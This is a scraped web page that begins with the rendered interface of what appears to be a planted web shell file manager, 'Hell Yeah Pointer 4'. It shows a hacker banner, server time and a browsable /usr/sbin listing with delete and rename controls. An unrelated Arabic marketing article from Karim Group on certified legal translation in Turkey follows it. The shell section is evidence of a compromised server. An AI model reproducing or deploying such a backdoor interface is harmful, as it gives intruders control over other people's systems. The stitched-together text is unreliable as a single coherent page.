Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 23:23:03
curdir: / / usr / sbin / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-02-28 15:43:09 0555
.. 4096 2026-02-17 19:35:32 0755
chroot 42440 2025-12-18 16:54:40 0755
cloudlinux-selector 654 2025-11-28 17:51:58 0755
consoletype 12160 2025-11-10 13:42:43 0755
cracklib-check 13360 2019-10-12 03:47:15 0755
cracklib-format 251 2019-10-12 03:47:14 0755
cracklib-packer 13368 2019-10-12 03:47:15 0755
cracklib-unpacker 9248 2019-10-12 03:47:15 0755
create-cracklib-dict 990 2019-10-12 03:47:14 0755
ddns-confgen 20944 2025-11-06 10:45:52 0755
dnssec-checkds 936 2025-11-06 10:45:45 0755
dnssec-coverage 938 2025-11-06 10:45:45 0755
dnssec-dsfromkey 62304 2025-11-06 10:45:52 0755
dnssec-importkey 62304 2025-11-06 10:45:52 0755
dnssec-keyfromlabel 66312 2025-11-06 10:45:52 0755
dnssec-keygen 74592 2025-11-06 10:45:52 0755
dnssec-keymgr 934 2025-11-06 10:45:45 0755
dnssec-revoke 58104 2025-11-06 10:45:52 0755
dnssec-settime 62296 2025-11-06 10:45:52 0755
dnssec-signzone 120016 2025-11-06 10:45:52 0755
dnssec-verify 54112 2025-11-06 10:45:52 0755
exim 1040 2025-11-10 21:36:10 0755
faillock 21016 2025-12-17 21:54:08 0755
genrandom 12672 2025-11-06 10:45:52 0755
ip 709944 2024-05-23 11:36:03 0755
isc-hmac-fixup 12136 2025-11-06 10:45:52 0755
ldconfig 1009752 2025-12-08 12:43:19 0755
mkhomedir_helper 25024 2025-12-17 21:54:08 0755
named-checkzone 37512 2025-11-06 10:45:52 0755
named-compilezone 37512 2025-11-06 10:45:52 0755
nsec3hash 12584 2025-11-06 10:45:52 0755
pam_console_apply 46280 2025-12-17 21:54:08 0755
pam_timestamp_check 12152 2025-12-17 21:54:08 0755
pluginviewer 21064 2022-02-23 23:13:56 0755
proxyexec 21680 2020-09-02 10:49:11 0555
pwhistory_helper 20928 2025-12-17 21:54:08 0755
saslauthd 96688 2022-02-23 23:13:56 0755
sasldblistusers2 21264 2022-02-23 23:13:56 0755
saslpasswd2 16816 2022-02-23 23:13:56 0755
sendmail 1048 2025-11-10 21:36:10 0755
snmpd 33232 2025-12-17 22:01:17 0755
snmptrapd 33384 2025-12-17 22:01:17 0755
testsaslauthd 17056 2022-02-23 23:13:56 0755
tmpwatch 36320 2019-10-12 14:32:29 0755
tsig-keygen 20944 2025-11-06 10:45:52 0755
unix_chkpwd 37744 2025-12-17 21:54:08 0755
unix_update 37744 2025-12-17 21:54:08 0700
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.